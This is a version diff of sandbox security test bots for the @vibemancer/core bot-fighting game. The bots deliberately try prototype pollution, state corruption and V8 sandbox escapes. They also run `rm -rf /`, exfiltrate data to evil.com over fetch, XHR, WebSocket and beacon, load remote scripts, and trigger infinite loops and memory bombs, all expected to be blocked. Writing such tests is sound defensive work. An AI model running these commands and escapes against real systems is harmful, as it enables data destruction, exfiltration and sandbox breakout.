@vibemancer/core 0.1.3 → 0.1.5

package/src/bots/test/cheater.ts

@@ -15,16 +15,17 @@
  * - CheaterStorageAndComms: tries BroadcastChannel, indexedDB, caches, navigator
  */
 
-import type {WizardFunction} from '../../types.js';
+import type {FinalAction} from '../../hooks/types.js';
+import {idle, useHealth, usePosition, getWizardContext} from '../../hooks/index.js';
 
 /**
  * Attempts to modify built-in prototypes to sabotage the other bot.
  * With prototype freezing enabled, these assignments should silently fail
  * (or throw in strict mode), and the match should proceed normally.
  */
-export const CheaterPrototypePollution: WizardFunction = (_props) => 
+export function CheaterPrototypePollution(): FinalAction
 {
-	try 
+	try
 	{
 		// Try to sabotage Array methods used by the other bot
 		(Array.prototype as any).map = () => [];
@@ -39,159 +40,162 @@ export const CheaterPrototypePollution: WizardFunction = (_props) =>
 		(Math as any).sqrt = () => 0;
 		(Math as any).atan2 = () => 0;
 	}
-	catch 
+	catch
 	{
 		// Frozen prototypes will throw in strict mode — that's expected
 	}
 
-	return {move: {x: 0, y: 0}};
-};
+	return idle();
+}
 
 /**
  * Attempts to mutate the game state object passed to it, hoping to corrupt
  * the simulation. With proper state views (copies), mutations should have
  * no effect on the actual simulation state.
  */
-export const CheaterStateCorruption: WizardFunction = ({state}) => 
+export function CheaterStateCorruption(): FinalAction
 {
-	try 
+	try
 	{
+		// Access state through hooks/context and try to corrupt it
+		const ctx = getWizardContext() as any;
+
 		// Try to give ourselves infinite health
-		(state as any).health = 999999;
-		(state as any).maxHealth = 999999;
+		ctx.health = 999999;
+		ctx.maxHealth = 999999;
 
 		// Try to kill enemies by modifying their state
-		for (const enemy of state.enemies) 
+		for (const enemy of ctx.enemies)
 		{
-			(enemy as any).health = 0;
-			(enemy as any).position = {x: -9999, y: -9999};
+			enemy.health = 0;
+			enemy.position = {x: -9999, y: -9999};
 		}
 
 		// Try to delete all enemy projectiles
-		for (const proj of state.projectiles) 
+		for (const proj of ctx.projectiles)
 		{
-			(proj as any).damage = 0;
-			(proj as any).remainingTicks = 0;
+			proj.damage = 0;
+			proj.remainingTicks = 0;
 		}
 
 		// Try to modify the position directly
-		state.position.x = 400;
-		state.position.y = 400;
+		ctx.position.x = 400;
+		ctx.position.y = 400;
 	}
-	catch 
+	catch
 	{
 		// Expected if state is frozen
 	}
 
-	return {move: {x: 0, y: 0}};
-};
+	return idle();
+}
 
 /**
  * Attempts to access Node.js APIs that should not be available in the sandbox.
  * With esbuild platform: 'neutral', these should all be undefined or throw.
  */
-export const CheaterNodeAccess: WizardFunction = (_props) => 
+export function CheaterNodeAccess(): FinalAction
 {
-	try 
+	try
 	{
 		// Try to access filesystem
 		const fs = (globalThis as any).require?.('fs');
 		fs?.writeFileSync?.('/tmp/hacked', 'pwned');
 	}
-	catch 
+	catch
 	{
 		/* expected */
 	}
 
-	try 
+	try
 	{
 		// Try to access process
 		const proc = (globalThis as any).process;
 		proc?.exit?.(1);
 	}
-	catch 
+	catch
 	{
 		/* expected */
 	}
 
-	try 
+	try
 	{
 		// Try to spawn child process
 		const cp = (globalThis as any).require?.('child_process');
 		cp?.execSync?.('rm -rf /');
 	}
-	catch 
+	catch
 	{
 		/* expected */
 	}
 
-	try 
+	try
 	{
 		// Try to access network
 		const net = (globalThis as any).require?.('net');
 		net?.createConnection?.({host: 'evil.com', port: 80});
 	}
-	catch 
+	catch
 	{
 		/* expected */
 	}
 
-	return {move: {x: 0, y: 0}};
-};
+	return idle();
+}
 
 /**
  * Attempts to escape the sandbox using known V8/JavaScript escape techniques.
  * These should all fail within isolated-vm.
  */
-export const CheaterSandboxEscape: WizardFunction = (_props) => 
+export function CheaterSandboxEscape(): FinalAction
 {
-	try 
+	try
 	{
 		// Classic sandbox escape: constructor.constructor to get Function constructor
 		const fn = {}.constructor.constructor('return this')();
 		// If this works, fn would be the global object outside the sandbox
 		(fn as any)?.process?.exit?.(1);
 	}
-	catch 
+	catch
 	{
 		/* expected */
 	}
 
-	try 
+	try
 	{
 		// Try to access the global scope via Function
 		const global = Function('return this')();
 		(global as any)?.process?.exit?.(1);
 	}
-	catch 
+	catch
 	{
 		/* expected */
 	}
 
-	try 
+	try
 	{
 		// Try eval-based escape
 		const result = eval('globalThis.process');
 		(result as any)?.exit?.(1);
 	}
-	catch 
+	catch
 	{
 		/* expected */
 	}
 
-	try 
+	try
 	{
 		// Try to access import.meta (might leak host info)
 		const meta = import.meta as any;
 		meta?.url; // Should just be undefined or sandboxed
 	}
-	catch 
+	catch
 	{
 		/* expected */
 	}
 
-	return {move: {x: 0, y: 0}};
-};
+	return idle();
+}
 
 // ============================================================================
 // IO / NETWORK CHEATER BOTS
@@ -203,150 +207,152 @@ export const CheaterSandboxEscape: WizardFunction = (_props) =>
  * If any succeeds, it would be a security vulnerability — bot code could
  * exfiltrate game state, load external code, or communicate with C2 servers.
  */
-export const CheaterNetworkIO: WizardFunction = ({state}) => 
+export function CheaterNetworkIO(): FinalAction
 {
 	const g = globalThis as any;
+	const health = useHealth();
 
 	// --- fetch ---
-	try 
+	try
 	{
-		const result = g.fetch?.('https://evil.com/exfil?hp=' + state.health);
+		const result = g.fetch?.('https://evil.com/exfil?hp=' + health);
 		// If fetch exists and returns a promise, that's a breach
-		if (result && typeof result.then === 'function') 
+		if (result && typeof result.then === 'function')
 		{
 			// Should never reach here
 		}
 	}
-	catch 
+	catch
 	{
 		/* expected */
 	}
 
 	// --- XMLHttpRequest ---
-	try 
+	try
 	{
 		const xhr = g.XMLHttpRequest ? new g.XMLHttpRequest() : null;
 		xhr?.open?.('POST', 'https://evil.com/exfil');
+		const pos = usePosition();
 		xhr?.send?.(
-			JSON.stringify({health: state.health, position: state.position}),
+			JSON.stringify({health, position: pos}),
 		);
 	}
-	catch 
+	catch
 	{
 		/* expected */
 	}
 
 	// --- WebSocket ---
-	try 
+	try
 	{
 		const ws = g.WebSocket ? new g.WebSocket('wss://evil.com/c2') : null;
 		ws?.send?.('connected');
 	}
-	catch 
+	catch
 	{
 		/* expected */
 	}
 
 	// --- EventSource (Server-Sent Events) ---
-	try 
+	try
 	{
 		const es = g.EventSource
 			? new g.EventSource('https://evil.com/commands')
 			: null;
 		es?.close?.();
 	}
-	catch 
+	catch
 	{
 		/* expected */
 	}
 
 	// --- navigator.sendBeacon ---
-	try 
+	try
 	{
 		g.navigator?.sendBeacon?.('https://evil.com/beacon', 'data');
 	}
-	catch 
+	catch
 	{
 		/* expected */
 	}
 
-	return {move: {x: 0, y: 0}};
-};
+	return idle();
+}
 
 /**
  * Attempts to inject external scripts or create sub-workers to bypass sandbox.
  * importScripts can load and execute arbitrary JS from any URL.
  * Worker/SharedWorker can spawn new contexts without IO restrictions.
  */
-export const CheaterScriptInjection: WizardFunction = (_props) => 
+export function CheaterScriptInjection(): FinalAction
 {
 	const g = globalThis as any;
 
 	// --- importScripts (Web Worker API: loads & executes external JS) ---
-	try 
+	try
 	{
 		g.importScripts?.('https://cdn.evil.com/payload.js');
 	}
-	catch 
+	catch
 	{
 		/* expected */
 	}
 
 	// --- Worker (create sub-worker to bypass restrictions) ---
-	try 
+	try
 	{
 		const w = g.Worker
 			? new g.Worker('data:text/javascript,fetch("https://evil.com")')
 			: null;
 		w?.terminate?.();
 	}
-	catch 
+	catch
 	{
 		/* expected */
 	}
 
 	// --- SharedWorker ---
-	try 
+	try
 	{
 		const sw = g.SharedWorker
 			? new g.SharedWorker('data:text/javascript,fetch("https://evil.com")')
 			: null;
 		sw?.port?.close?.();
 	}
-	catch 
+	catch
 	{
 		/* expected */
 	}
 
 	// --- Reconstruct fetch via Request/Response ---
-	try 
+	try
 	{
 		const req = g.Request ? new g.Request('https://evil.com/data') : null;
-		if (req) 
+		if (req)
 		{
 			// Without fetch, a Request object alone can't send anything,
 			// but verify the constructor is also blocked
 		}
 	}
-	catch 
+	catch
 	{
 		/* expected */
 	}
 
-	return {move: {x: 0, y: 0}};
-};
+	return idle();
+}
 
 /**
  * Attempts to use storage and cross-context communication APIs.
  * These could be used to persist data between matches, leak info across
  * tabs, or coordinate with external code.
  */
-export const CheaterStorageAndComms: WizardFunction = (_props) => 
+export function CheaterStorageAndComms(): FinalAction
 {
 	const g = globalThis as any;
 
 	// --- BroadcastChannel (cross-tab/worker communication) ---
-	try 
+	try
 	{
 		const bc = g.BroadcastChannel
 			? new g.BroadcastChannel('exfil-channel')
@@ -354,52 +360,52 @@ export const CheaterStorageAndComms: WizardFunction = (_props) =>
 		bc?.postMessage?.('secret data');
 		bc?.close?.();
 	}
-	catch 
+	catch
 	{
 		/* expected */
 	}
 
 	// --- indexedDB (persistent storage) ---
-	try 
+	try
 	{
 		const db = g.indexedDB?.open?.('exfil-db', 1);
-		if (db) 
+		if (db)
 		{
 			// If indexedDB is available, bot could store/retrieve data across matches
 		}
 	}
-	catch 
+	catch
 	{
 		/* expected */
 	}
 
 	// --- Cache API ---
-	try 
+	try
 	{
 		const cache = g.caches?.open?.('exfil-cache');
-		if (cache && typeof cache.then === 'function') 
+		if (cache && typeof cache.then === 'function')
 		{
 			// Could cache external resources for later use
 		}
 	}
-	catch 
+	catch
 	{
 		/* expected */
 	}
 
 	// --- navigator (various APIs) ---
-	try 
+	try
 	{
 		// navigator.clipboard, navigator.geolocation, etc.
 		const nav = g.navigator;
 		nav?.clipboard?.writeText?.('stolen data');
-		nav?.geolocation?.getCurrentPosition?.(() => 
+		nav?.geolocation?.getCurrentPosition?.(() =>
 		{});
 	}
-	catch 
+	catch
 	{
 		/* expected */
 	}
 
-	return {move: {x: 0, y: 0}};
-};
+	return idle();
+}

package/src/bots/test/crasher.ts

@@ -11,44 +11,45 @@
  * - CrasherMissileLoop: infinite loop inside missile AI
  */
 
-import type {MissileActions, WizardFunction} from '../../types.js';
+import type {FinalAction, MissileAction} from '../../hooks/types.js';
+import {usePosition, useEnemy, idle, missile} from '../../hooks/index.js';
 import {angleTo} from '../../utils/angles.js';
 
 /**
  * Enters an infinite loop immediately. Tests CPU timeout enforcement.
  */
-export const CrasherInfiniteLoop: WizardFunction = (_props) => 
+export function CrasherInfiniteLoop(): FinalAction
 {
-	while (true) 
+	while (true)
 	{
 		// Spin forever — should be killed by isolate timeout
 	}
-};
+}
 
 /**
  * Allocates memory until the isolate runs out. Tests memory limit enforcement.
  */
-export const CrasherMemoryBomb: WizardFunction = (_props) => 
+export function CrasherMemoryBomb(): FinalAction
 {
 	const bomb: number[][] = [];
-	while (true) 
+	while (true)
 	{
 		bomb.push(new Array(1_000_000).fill(42));
 	}
-};
+}
 
 /**
  * Recurses until stack overflow. Tests stack exhaustion handling.
  */
-export const CrasherStackOverflow: WizardFunction = (_props) => 
+export function CrasherStackOverflow(): FinalAction
 {
-	function recurse(): number 
+	function recurse(): number
 	{
 		return 1 + recurse();
 	}
 	recurse();
-	return {move: {x: 0, y: 0}};
-};
+	return idle();
+}
 
 /**
  * Returns a valid wizard action but with a missile AI that loops forever.
@@ -58,24 +59,21 @@ export const CrasherStackOverflow: WizardFunction = (_props) =>
  * isolate as part of simulate(). An infinite loop in missile AI will cause
  * the entire fight to timeout.
  */
-export const CrasherMissileLoop: WizardFunction = ({state}) => 
+export function CrasherMissileLoop(): FinalAction
 {
-	const enemy = state.enemies[0];
-	if (!enemy) return {move: {x: 0, y: 0}};
+	const pos = usePosition();
+	const enemy = useEnemy();
+	if (!enemy) return idle();
 
-	return {
-		move: {x: 0, y: 0},
-		startCast: {
-			spell: 'missile',
-			config: {damage: 10, speed: 5, turnRate: 1, duration: 100},
-			missileAI: (): MissileActions => 
+	return missile(
+		{damage: 10, speed: 5, turnRate: 1, duration: 100},
+		(): MissileAction =>
+		{
+			while (true)
 			{
-				while (true) 
-				{
-					// Spin forever inside missile AI
-				}
-			},
-			direction: angleTo(state.position, enemy.position),
+				// Spin forever inside missile AI
+			}
 		},
-	};
-};
+		angleTo(pos, enemy.position),
+	);
+}